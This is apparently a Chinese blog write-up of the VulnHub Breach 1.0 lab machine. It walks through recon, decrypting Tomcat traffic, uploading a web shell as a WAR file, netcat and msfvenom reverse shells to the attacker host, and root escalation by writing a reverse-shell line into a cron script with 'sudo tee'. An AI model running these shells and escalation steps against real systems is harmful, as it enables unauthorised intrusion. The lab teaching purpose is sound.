环境搭建

环境下载：

https://www.vulnhub.com/entry/breach-1,152/

环境描述：

Vulnhub 中对此环境的描述：

VM 配置有静态 IP 地址 (192.168.110.140)，因此您需要将仅主机适配器配置到该子网。

这里我用的是 VMware ，文件 -> 打开 .ova 文件创建新的虚拟机。

这边插一段不相关的内容，浅浅的了解一下。

虚拟机三种网络模式

1、仅主机模式：也就是host_only，这种模式仅仅只让虚拟机与本地物理机通信，不可以上网；
2、NAT模式：这种模式保留仅主机模式的功能下，还能让主机上网；
3、桥接模式：直接让虚拟机使用本地主机的网卡上网。

搭建环境

攻击机（kail）IP：192.168.110.129
靶机IP：192.168.110.140

最后开启两个虚拟机。

信息收集

端口扫描：

nmap -p- -sF 192.168.110.140

指纹识别：

渗透测试

信息搜集

访问靶机的 80 端口，在源码中有一串 base64，二次解码后可以得到一串字符串。

pgibbons:damnitfeel$goodtobeagang$ta

点击图片跳转到另一个页面：

用上面获得的账密登录。

可以用 exploit 来找找有没有这个 cms 的漏洞，有漏洞，但是页面我们没有权限进入。

导入PCAP、TLS 到 wireshark

仔细观察可以发现在收件箱里面有个 .keystore 文件，这个是 java 的密钥库、用来进行通信加密用的。

在账户信息这里可以看到 content 。

其中包含了一个数据包和，一个密钥密码为 tomcat

可以用 keytool 来提取证书，可以用 kail 自带的 keytool。

根据提示使用语句，口令就是邮件里提到的 tomcat

然后就是把密钥导进 wireshark。（编辑 -> 首选项）

端口我们扫到过，tomcat 的默认端口。

获得 tomcat 后台地址和密码

http 流里面有管理员密码

/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC （base64）
tomcat:Tt\5D8F(#!*u=G)4m7zB

写马 tomcat getshell （三种 or more）

直接上传大马反弹 shell

报错页面有 tomcat 的版本，那么我们就可以搜索这个版本的漏洞。

（这个 tomcat 页面其他师傅说可以用 bp 打开）

tomcat 服务页面上传文件处，上传大马。

jsp 大马，给它转成 .war 格式的文件。

上传完后，访问 /xxx/xxx.jsp 页面并输入密码，上面的那个大马密码是 ninty。

但是总是会被定时删除，所以我们可以反弹 shell 保持连接。

nc -e /bin/bash 192.168.110.129 9090

利用 msfvenom 生成 shell 并反弹

msfconsole 
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.129 lport=9898 -f war -o shell.war

开启监听：

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 9898
run

上传 shell.war，并访问 /shell/ 。

启动 bash 模式。

python -c 'import pty;pty.spawn("/bin/bash")'

利用 冰蝎 生成 shell 并反弹

下载链接

把 冰蝎自带的 jsp 马压缩为 zip 格式，然后把 .zip 改为 .war，并上传。

但是不知道为什么一直连接失败，代理也开了，还有就是用的时候卡的一批，有没有大佬知道的，@ 我一下，多谢了。

信息收集

cat /etc/passwd

cat /etc/passwd

一大堆 UID 和 GID ，那么我们要注意哪些呢。

UID：UID的值为0时，表示系统管理员；（1-99）为系统预设账号；（100-499）保留给一些服务使用；（500-65535）给一般使用者使用，user用户的UID和GID分别是1000:1000。

setuid, setgid 可以来改变这种设置.　　setuid: 设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。　　setgid: 该权限只对目录有效，目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。

发现 milton和 blumbergh 账号。

登录 mysql

在 /var/www 下面有个 php 文件，里面有数据库的密码。

翻看数据库获得用户密码

找到 milton 密码 ：6450d89bd3aff1d893b85d3ad65d2ec2

md5 解密一下，得到密码 thelaststraw

切换为用户 milton

su milton
thelaststraw

暂时没有在 /home/milton 下发现有用的。

查一下当前是什么系统，操作系统内核是什么。

系统内核版本为：Linux Breach 4.2.0-27-generic，不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是：Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

查看 milton 的 .bash_history 命令

发现 milton 用户曾经切换过 blumbergh 用户，需要 blumbergh 的密码。

找寻 blumbergh 密码

在 /var/www/html/images/bill.png 的 exif 信息有疑似密码的字符串：coffeestains

可以用 exiftool 来查询 exif 信息，或者用 strings 提取出图片可视字符，也可以用在线网站查询。

查看 blumbergh 历史命令

tidyup.sh 的作用是每三分钟，对 webapps 下的文件进行一次清理，这就是为什么上传的 shell 老是被删除的原因。

该定时任务 root 权限。

sudo -l 后发现能够以 root 权限执行 tee 命令和 tidyup.sh 脚本，而 tee 命令可以把输入的数据，复制到文件里。

那么也就是说我们可以把反弹 shell 的语句用 tee 命令写入tidyup.sh 脚本文件里，并执行这个脚本，那么不就可以拿到 root 权限了嘛。

利用定时任务提权

先把反弹语句写入 shell.txt。
echo "nc -e /bin/bash 192.168.110.129 9999" > shell.txt
再把 shell.txt 的内容写入 tidyup.sh 中。
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

写入成功。

等待 nc 反弹 root

此时就是 root 权限了，发现 flag 文件。

读取 flag

可以把 flair.jpg 给复制到我们可以查看的目录，比如 /var/www/html/images/flair.jpg

cp flair.jpg /var/www/html/images/flair.jpg

总结

跟着大佬们的步伐结合自己的思考，学会了很多东西，很多平时不曾注意到的点，也稍微知道了一些渗透的简要步骤，还有就是谢谢大佬们的无私。

参考文章

渗透测试工具一一Nmap（从初级到高级）
Vulnhub-Breach1.0
SSL证书中的keystore是什么
Msfvenom介绍及利用
反弹shell的方法总结
msfvenom之——生成各类Payload命令